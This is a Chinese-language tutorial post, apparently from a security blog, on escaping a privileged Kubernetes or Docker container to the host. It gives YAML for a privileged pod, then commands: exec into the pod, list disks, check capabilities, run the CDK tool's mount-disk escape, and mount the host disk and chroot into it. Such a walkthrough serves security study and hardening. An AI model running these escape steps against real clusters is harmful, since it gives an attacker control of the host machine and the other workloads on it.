前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
圈层
工具
发布
首页
学习
活动
专区
圈层
工具
MCP广场
社区首页 >专栏 >集群安全之Privileged特权模式逃逸

集群安全之Privileged特权模式逃逸

作者头像
Al1ex
发布2023-10-28 12:35:10
发布2023-10-28 12:35:10
84800
代码可运行
举报
文章被收录于专栏:网络安全攻防网络安全攻防
运行总次数:0
代码可运行
文章前言

当容器启动加上--privileged选项时,容器可以访问宿主机上所有设备,而K8s配置文件如果启用了"privileged: true"也可以实现挂载操作

前置知识

Security Context(安全上下文),用于定义Pod或Container的权限和访问控制,Kubernetes提供了三种配置Security Context的方法:

  • Pod Security Policy:应用于集群级别
  • Pod-level Security Context:应用于Pod级别
  • Container-level Security Context:应用于容器级别

容器级别:仅应用到指定的容器上,并且不会影响Volume

代码语言:javascript
代码运行次数:0
运行
复制
apiVersion: v1
kind: Pod
metadata:
  name: hello-world
spec:
  containers:
    - name: hello-world-container
      image: ubuntu:latest
      securityContext:
        privileged: true

Pod级别:应用到Pod内所有容器,会影响Volume

代码语言:javascript
代码运行次数:0
运行
复制
apiVersion: v1
kind: Pod
metadata:
  name: hello-world
spec:
  containers:
  securityContext:
    fsGroup: 1234
    supplementalGroups: [5678]
    seLinuxOptions:
      level: "s0:c123,c456"

PSP,集群级别:PSP是集群级的Pod安全策略,自动为集群内的Pod和Volume设置Security Context

具体实现

Step 1:使用docker拉取ubuntu镜像到本地

代码语言:javascript
代码运行次数:0
运行
复制
sudo docker pull ubuntu

Step 2:创建一个Pod

代码语言:javascript
代码运行次数:0
运行
复制
apiVersion: v1
kind: Pod
metadata:
  name: myapp-test
spec:
  containers:
  - image: ubuntu:latest
    name: ubuntu
    securityContext:
      privileged: true

Step 2:创建Pod

代码语言:javascript
代码运行次数:0
运行
复制
kubectl create -f myapp-test.yaml

Step 3:进入Pod进行逃逸操作

代码语言:javascript
代码运行次数:0
运行
复制
#进入pod
kubectl exec -it myapp-test /bin/bash

#查看磁盘
fdisk -l

Step 4:查看权限

代码语言:javascript
代码运行次数:0
运行
复制
cat /proc/self/status | grep CapEff

Step 5:使用CDK进行逃逸

代码语言:javascript
代码运行次数:0
运行
复制
./cdk run mount-disk

在容器内部进入挂载目录,直接管理宿主机磁盘文件(多少有一些问题)

Step 6:手动操作又存在以下问题:

代码语言:javascript
代码运行次数:0
运行
复制
mkdir /tmp/test
mount /dev/sda3 /tmp/test
chroot /tmp/test bash
本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2023-10-27,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 七芒星实验室 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 文章前言
  • 前置知识
  • 具体实现
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档